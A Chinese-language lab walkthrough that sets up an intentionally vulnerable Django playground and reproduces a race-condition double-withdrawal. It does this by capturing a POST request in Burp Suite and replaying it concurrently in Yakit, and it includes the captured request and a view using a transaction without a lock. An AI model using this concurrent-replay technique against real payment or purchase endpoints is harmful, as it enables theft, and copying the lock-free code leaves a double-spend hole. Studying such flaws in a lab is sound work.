Django下的Race Condition漏洞

本文介绍: 竞争型漏洞是一种存在于软件或系统中的安全漏洞，它允许攻击者利用系统中的竞争条件来执行恶意操作。这种漏洞通常涉及多个并发操作或资源竞争，攻击者可以利用这些竞争条件来绕过安全控制，获取未授权的访问权限或执行拒绝服务攻击。竞争型漏洞可能出现在各种不同的软件和系统中，包括操作系统、网络协议、数据库和应用程序等。攻击者通常会利用这些漏洞来执行特权升级、信息泄露或拒绝服务攻击等恶意操作。为了防止竞争型漏洞的利用，软件开发者和系统管理员需要及时修补漏洞，并采取适当的安全措施来减少竞争条件的存在。

为了方便使用我们可以对文件进行重命名

解压

unzip race-condition-playground-main.zip

备份 env 文件

root@utuntu000:~/race-condition# cp .env.default .env.default.bak
root@utuntu000:~/race-condition# mv .env.default .env

修改 env 文件内容：

原：DEBUG=true //因为这里不对
修改后：DEBUG=True

安装需要的库：

pip3 install -r requirements.txt

注：可以使用豆瓣源来下载，速度更快

生成数据表：migrate：

python3 manage.py migrate

使用python 生成前端代码：

python3 manage.py collectstatic

使用python 创建用户：

python3 manage.py createsuperuser

运行：

gunicorn -w 2 -k gevent -b 0.0.0.0:8080 race_condition_playground.wsgi
[2023-11-13 16:44:25 +0800] [9072] [INFO] Starting gunicorn 21.2.0
[2023-11-13 16:44:25 +0800] [9072] [INFO] Listening at: http://0.0.0.0:8080 (9072)
[2023-11-13 16:44:25 +0800] [9072] [INFO] Using worker: gevent
[2023-11-13 16:44:25 +0800] [9075] [INFO] Booting worker with pid: 9075
[2023-11-13 16:44:25 +0800] [9076] [INFO] Booting worker with pid: 9076

注：如果没有 gunicorn 工具，可以使用pip3 linstall 来安装

然后我们就可以尝试访问这个后台

然后我们就可以尝试访问一下admin

我们输入账号密码，成功的登录到了后台页面

我们现在就可以给用户增加一些钱：

然后我们在URL中访问

http://192.168.159.219:8080/ucenter/1/

我们尝试在a m ount中输入100

这里可以看到我们提交的金额大于所拥有的金额，会直接报错

无锁无事务的竞争攻击 复现

我们首先进入到：/root/rac e–c on dition/templates

将form 表单的提交方式修改为f orm–data流的形式

输入金额

先使用Burp suite进行抓包（浏览器开启代理）

点击提交后

赋值内容，然后DROP这个包

关闭代理，再去查看一下金额：发现金额并没有改变

然后打开Ya kit 软件

点击本地的这个项目->打开项目，或看到这样一个页面

然后就来到了这里，然后将前面抓到的数据粘贴进这里：

POST /ucenter/1/ HTTP/1.1
Host: 192.168.159.219:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.159.219:8000/ucenter/1/
Content-Type: multipart/form-data; boundary=---------------------------366213157039382255462597162624
Content-Length: 366
Origin: http://192.168.159.219:8000
Connection: close
Cookie: __tins__21208037=%7B%22sid%22%3A%201699867069692%2C%20%22vd%22%3A%2011%2C%20%22expires%22%3A%201699870531399%7D; __51cke__=; __51laig__=11; csrftoken=PqAPXKFwTwIlbNyqhrelYxqbWgKPtsKjXdlcwxe3TqCfxT44ecNu3QLFhZWnRiaQ; sessionid=3kx07mweulpr4559s5gyfte6d2whwfna
Upgrade-Insecure-Requests: 1

-----------------------------366213157039382255462597162624
Content-Disposition: form-data; name="amount"

10
-----------------------------366213157039382255462597162624
Content-Disposition: form-data; name="csrfmiddlewaretoken"

2s3TnpbX4HE23G8XhBfoAaoyTXKUklEmafOgWcKu4ByWpMEBemOxFtJ2eGWsIb4T
-----------------------------366213157039382255462597162624--

可以将一些没有用的东西删除掉，删除完成后：

POST /ucenter/1/ HTTP/1.1
Host: 192.168.159.219:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Content-Type: multipart/form-data; boundary=---------------------------366213157039382255462597162624
Cookie: __tins__21208037=%7B%22sid%22%3A%201699867069692%2C%20%22vd%22%3A%2011%2C%20%22expires%22%3A%201699870531399%7D; __51cke__=; __51laig__=11; csrftoken=PqAPXKFwTwIlbNyqhrelYxqbWgKPtsKjXdlcwxe3TqCfxT44ecNu3QLFhZWnRiaQ; sessionid=3kx07mweulpr4559s5gyfte6d2whwfna
Upgrade-Insecure-Requests: 1

-----------------------------366213157039382255462597162624
Content-Disposition: form-data; name="amount"

10
-----------------------------366213157039382255462597162624
Content-Disposition: form-data; name="csrfmiddlewaretoken"

2s3TnpbX4HE23G8XhBfoAaoyTXKUklEmafOgWcKu4ByWpMEBemOxFtJ2eGWsIb4T
-----------------------------366213157039382255462597162624--

然后进行并发配置，然后发送

但是这里并没有测试成功，我们删除这条日志：

然后再为yps用户增加10块钱，用于测试

然后我们可以再次测试：

我们可以将重复发包数修改为1000再次尝试，但是还是没有成功（重复以上操作，直到成功）

可以看到，这里转发了两次，我们再看看日志

这里很明显购买了两次，我们只有10块钱，却购买了两次10块钱的东西，这里成功的利用竞争漏洞实现了攻击！

无锁有事务的竞争攻击复现

我们可以在源代码中增加事务（注：本代码中已经有了，不需要手动添加）：

class WithdrawView2(BaseWithdrawView):
    success_url = reverse_lazy('ucenter:withdraw2')
 
    @transaction.atomic
    def form_valid(self, form):
        amount = form.cleaned_data['amount']
        self.request.user.money -= amount
        self.request.user.save()
        models.WithdrawLog.objects.create(user=self.request.user, amount=amount)
 
        return redirect(self.get_success_url())